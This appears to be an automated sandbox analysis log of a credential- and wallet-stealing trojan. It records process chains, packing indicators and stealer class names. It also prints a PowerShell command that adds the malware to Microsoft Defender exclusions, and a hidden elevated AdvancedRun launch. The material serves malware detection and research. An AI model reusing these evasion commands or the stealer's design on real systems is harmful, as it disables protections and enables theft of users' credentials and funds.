Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,ZwTerminateProcess,	23_2_6D26FAD0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1AD6 ZwFreeVirtualMemory,	23_2_6D2D1AD6

Source: 1105.tmp.23.dr

Static PE information: No import functions for PE file found

Source: 610B.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 9D57.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: argjvbv.5.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 59B4.exe.5.dr	Static PE information: Section: ZLIB complexity 0.996572265625
Source: 59B4.exe.5.dr	Static PE information: Section: ZLIB complexity 1.00024038462
Source: 59B4.exe.5.dr	Static PE information: Section: ~\1847 ZLIB complexity 1.00537109375
Source: 8039.exe.5.dr	Static PE information: Section: )EWhgNF ZLIB complexity 1.00034769918

Source: y4oMrtO1Mt.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hrgjvbv

Jump to behavior

Source: 1105.tmp.23.dr

Binary string: \Device\IPT

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/14@38/7

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

28_2_00401306

Source: y4oMrtO1Mt.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

28_2_0040A33B

Source: y4oMrtO1Mt.exe

Virustotal: Detection: 28%

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\59B4.exe C:\Users\user\AppData\Local\Temp\59B4.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9D57.exe C:\Users\user\AppData\Local\Temp\9D57.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B8B0.exe C:\Users\user\AppData\Local\Temp\B8B0.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\82DC.exe C:\Users\user\AppData\Local\Temp\82DC.exe
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\argjvbv C:\Users\user\AppData\Roaming\argjvbv
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Process created: C:\Users\user\Desktop\y4oMrtO1Mt.exe "C:\Users\user\Desktop\y4oMrtO1Mt.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Process created: C:\Users\user\AppData\Roaming\hrgjvbv C:\Users\user\AppData\Roaming\hrgjvbv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Process created: C:\Users\user\AppData\Local\Temp\F72D.exe C:\Users\user\AppData\Local\Temp\F72D.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process created: C:\Users\user\AppData\Local\Temp\8039.exe C:\Users\user\AppData\Local\Temp\8039.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process created: C:\Users\user\AppData\Local\Temp\610B.exe C:\Users\user\AppData\Local\Temp\610B.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,

28_2_00408FC9

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\F72D.tmp

Jump to behavior

Source: B8B0.exe.5.dr	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: B8B0.exe.5.dr	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

28_2_004095FD

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4500:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Mutant created: \Sessions\1\BaseNamedObjects\NVIDIA OpenGL Driver An application has requested more GPU memory than is available in the system. The application will now be closed. Error code: 6 Would you like to visit http://nvidia.custhelp.com/app/answers/detail/a_id/3553 for help?
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2912:120:WilError_01

Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: y4oMrtO1Mt.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: y4oMrtO1Mt.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 0000001C.00000000.907769722.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001E.00000000.914935574.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.24.dr
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbU source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: C:\feze\liyixira.pdb source: 9D57.exe.5.dr
Source:	Binary string: C:\samuf.pdb source: y4oMrtO1Mt.exe
Source:	Binary string: _.pdb source: 610B.exe, 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9D57.exe, 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, 1105.tmp.23.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbr9 source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: 9D57.exe, 1105.tmp.23.dr
Source:	Binary string: System.ServiceModel.pdbH source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb7] source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: #cC:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: C:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: %C:\feze\liyixira.pdbp+@` source: 9D57.exe.5.dr

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Unpacked PE file: 19.2.59B4.exe.40000.0.unpack :ER; :R; :R;.idata:W;~\1847:R;.themida:EW;.boot:ER;~\1847:ER;~\1847:ER;.rsrc:R; vs :ER; :R; :R;
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Unpacked PE file: 23.2.9D57.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\argjvbv	Unpacked PE file: 32.2.argjvbv.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs

.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_004025F7 pushad ; iretd	1_2_004025FA
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_2_004029A6 push eax; ret	1_2_004029AE
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_004025F7 pushad ; iretd	1_1_004025FA
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Code function: 1_1_004029A6 push eax; ret	1_1_004029AE
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD2D97 pushad ; iretd	10_2_02BD2D9A
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 10_2_02BD3146 push eax; ret	10_2_02BD314E
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_004025F7 pushad ; iretd	11_2_004025FA
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_004029A6 push eax; ret	11_2_004029AE
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E228EC push ebp; ret	12_2_02E228ED
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E1DCF4 pushad ; iretd	12_2_02E1DD04
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 12_2_02E223C9 push edi; ret	12_2_02E223F2
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_004025F7 pushad ; iretd	13_2_004025FA
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_004029A6 push eax; ret	13_2_004029AE
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_004025F7 pushad ; iretd	13_1_004025FA
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Code function: 20_2_013C5477 push ss; retf	20_2_013C547A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D29D0D1 push ecx; ret	23_2_6D29D0E4
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 24_2_0302AEA3 push eax; mov dword ptr [esp], ecx	24_2_0302AEE1
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Code function: 27_2_023240FA push esp; iretd	27_2_023240F9
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Code function: 27_2_023240C0 push esp; iretd	27_2_023240F9
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Code function: 28_2_0040B550 push eax; ret	28_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Code function: 28_2_0040B550 push eax; ret	28_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Code function: 28_2_0040B50D push ecx; ret	28_2_0040B51D
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538740B push 04000A5Eh; iretd	29_2_05387421
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Code function: 29_2_0538E89F push 5D5F5E5Bh; retn 0008h	29_2_0538E855

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe

Code function: 0_2_00422950 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00422950

Source: 82DC.exe.5.dr

Static PE information: 0x9AFA11B8 [Thu May 23 12:23:20 2052 UTC]

Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name:
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: .themida
Source: 59B4.exe.5.dr	Static PE information: section name: .boot
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 59B4.exe.5.dr	Static PE information: section name: ~\1847
Source: 8039.exe.5.dr	Static PE information: section name: )EWhgNF
Source: 8039.exe.5.dr	Static PE information: section name:
Source: 1105.tmp.23.dr	Static PE information: section name: RT
Source: 1105.tmp.23.dr	Static PE information: section name: .mrdata
Source: 1105.tmp.23.dr	Static PE information: section name: .00cfg

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: 82DC.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x717cf
Source: B8B0.exe.5.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c
Source: 8039.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x5572f

Source: initial sample	Static PE information: section name: .text entropy: 7.02904343285
Source: initial sample	Static PE information: section name: .text entropy: 7.39596175365
Source: initial sample	Static PE information: section name: .text entropy: 7.02904343285
Source: initial sample	Static PE information: section name: entropy: 7.98187641593
Source: initial sample	Static PE information: section name: ~\1847 entropy: 7.4060671369
Source: initial sample	Static PE information: section name: ~\1847 entropy: 7.38192824879
Source: initial sample	Static PE information: section name: )EWhgNF entropy: 7.99933844083
Source: initial sample	Static PE information: section name: .text entropy: 7.44496634021
Source: initial sample	Static PE information: section name: .text entropy: 7.44496634021
Source: initial sample	Static PE information: section name: .text entropy: 7.02904343285
Source: initial sample	Static PE information: section name: .text entropy: 6.85305507137

Source: 19.2.59B4.exe.40000.0.unpack, Chr_0_M_e.cs	High entropy of concatenated method names: 'S??n', 'yLR2CB83g', 'uaHHnxvaJ', 'x5NfWxYMt', 'iPHRHIBDL', 'PJamWpavP', 'MakeTries', 'WwGlOUpyL', 'L3Na8j3OvGf3qUQsvT', 'IUhPNsYBvgJsFQ9xe6'
Source: 19.2.59B4.exe.40000.0.unpack, g_E_c_?_0.cs	High entropy of concatenated method names: 'TryFind', 'z8c38TDN6', 'GeckoRoamingName', 'GeckoLocalName', 'htZ9aouKySbrBsfnMn', 'AAOG0teuuPPr3F7sY4', 'fNHnD2SFbk59jJ0uL0', 'TelJUjP6c3PymR2PfZ', 'V6owyJiNRaeobHuqkU', 'yIWUMSld7ox4Hr12sc'
Source: 19.2.59B4.exe.40000.0.unpack, FileZilla.cs	High entropy of concatenated method names: 'Scan', 'oxwYX7qGG', 'iVI9SREXJ', '.ctor', 'fimbor5IbSMsdptfA3', 'vr3sq0t03bJcGhR9uS', 'e7SBPZpahQ4PX4VMQX', 'CLnusRDYfyq3ws8b6w', 'c3qopEwFnsVlHY6aFb', 'QqpehZcjCTwNBrrQfp'
Source: 19.2.59B4.exe.40000.0.unpack, DownloadAndExecuteUpdate.cs	High entropy of concatenated method names: 'IsValidAction', 'Process', '.ctor', 'ARN3DYjKI82DJ2tU5qp', 'VQxSCMjWKVEDqDVVXjX', 'pEig87jrhFh2HOwhHcT', 'DnmBptjgkx0fNVKCpDh', 'GpXAhSjfhCYu0ijpLaO', 'RydDAHjFChayEoKWhxf', 'RNnOj4jJOxDMeo4O5D8'
Source: 19.2.59B4.exe.40000.0.unpack, CryptoHelper.cs	High entropy of concatenated method names: 'DecryptBlob', 'DecryptBlob', 'GetMd5Hash', 'hwG6Rwca7', 'BVxXuizOIRlmEapKHi', 'Oj8ePBX4K8fpxsjpOnx', 'J9NKn1QpiI3af6qA7r', 'MwyFLvkQjEiqUVyWIs', 'INhGBfXXbLRtbXUU77t'
Source: 19.2.59B4.exe.40000.0.unpack, CryptoProvider.cs	High entropy of concatenated method names: '.ctor', 'Finalize', 'xfZxhKZfy', 'BCryptOpenAlgorithmProvider', 'BCryptCloseAlgorithmProvider', 'BCryptDecrypt', 'BCryptDestroyKey', 'BCryptGetProperty', 'BCryptSetAlgorithmProperty', 'BCryptImportKey'
Source: 19.2.59B4.exe.40000.0.unpack, StringDecrypt.cs	High entropy of concatenated method names: 'Xor', 'oeH7I38wd', 'enwdeJfeD', 'Decrypt', 'rG2VqmXqgW8P6fLKH3n', 'W9N20gX6p5ubTck0KGH', 'sPTurwX3kOmu9q05jnT', 'lBODngXj5SMOsof8wqO', 'snWaVZXBiD0doqdmcaq', 'kTBcoQXYL6vlycyh5sm'
Source: 19.2.59B4.exe.40000.0.unpack, AllWallets.cs	High entropy of concatenated method names: 'GetFolder', 'GetScanArgs', '.ctor', 'Ip24MoLK1jL3AZ1eRBm', 'elgKq1LW6OhwTrEqpoW', 'ueR6oqLr9mDY7JGXgBT', 'RuiauiLgst8eRvkb5O8', 'fKt8ZCLfevOsbHPmWbj', 'BttNm9LsWXwuDeONXhB', 'SXwn95LUo1LAEyfradx'
Source: 19.2.59B4.exe.40000.0.unpack, FullInfoSender.cs	High entropy of concatenated method names: '.ctor', 'Send', 'sdfk8h34', 'Visible', 'asdk9y3', 'kadsoji83', 'kkdhfakdasd', 'sdfm83kjasd', 'sdfkas83', 'gkdsi8y234'
Source: 19.2.59B4.exe.40000.0.unpack, IK64qmPWsTBxjgIB1C/vXrS0guBSgiuhbjg3O.cs	High entropy of concatenated method names: 'lHCRjNXwo5', 'CDKRDNRnIS', 'rmSReShpCY', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'X1Isg1quiUWHuMD5BP', 'gjicgBlqhRm4XbsKPp', 'GRYp38iTtrkcyyoiEq', 'mLMUIvR5YosgulHg3r'
Source: 19.2.59B4.exe.40000.0.unpack, ALq6dKKjQlrsYooCWs/HiXmaQw0PKZERoqU1b.cs	High entropy of concatenated method names: 'OxxaUNqzmjYZ5', '.ctor', '.cctor', 'tnBNmfbC4F3SphDLwGm', 'drcVv5b9TNb8C40JNUL', 's1lHDOb5uoVZJ4AynlC', 'jRulXnbtU0unU57kuVP', 'LfajKpbaqYtuMY9JiFQ', 'F9YssQb18CiwDxxDHMa'
Source: 19.2.59B4.exe.40000.0.unpack, bY6SuEh351L7GYyy67/NuxyqR8Fr0rqvtxOeE.cs	High entropy of concatenated method names: '.cctor', 'o5kaUNqs9Lvi8', 'AIZfs7lnq4', 'G7Zf1yBAxs', 'suDfxgF2tF', 'rSnfLxFOgR', 'h24fZPht0K', 'biSf6qn22C', 'GL5f7WutR0', 'zBPfdqlYap'
Source: 19.2.59B4.exe.40000.0.unpack, IPv4Helper.cs	High entropy of concatenated method names: 'pa1eXNhev', 'GetDefaultIPv4Address', 'Lpsk6RcDj', 'Yug89nB2b1VSEE5Y4FC', 'B1iqYZBs0H70uYe695v', 'UGGmJHBHjs9aIJCom5N', 'CT7k3CBM9Xs9fXuCrSA', 'WQJC7rBUh9MBveTFqUw', 'iLkuDZBKnJMxKx4sfcb', 'rxZ9OsBWEiEq3Ud3Uwq'
Source: 19.2.59B4.exe.40000.0.unpack, GdiHelper.cs	High entropy of concatenated method names: 'kK2jJR2mk', 'GetWindowsScreenScalingFactor', 'MonitorSize', 'GetImageBase', 'sduDK4krH', 'hZvJLQB0hXUdkIGifKM', 'H3SRm3BVjVFuHcnKnhR', 'gFkNOoBisK7AqSx0kZn', 'hvmugjBAOPSi9le4Nbm', 'Mtc3KgBh6RB4CPUN4UU'
Source: 19.2.59B4.exe.40000.0.unpack, DbContext.cs	High entropy of concatenated method names: 'get_RowLength', '.ctor', 'GatherValue', 'ReadContextValue', 'Count', 'p8DAFdQhd', 'QakwmuNp5', 'ReadContextTable', 'fftKfYYRr', 'DuUXwP6LA'
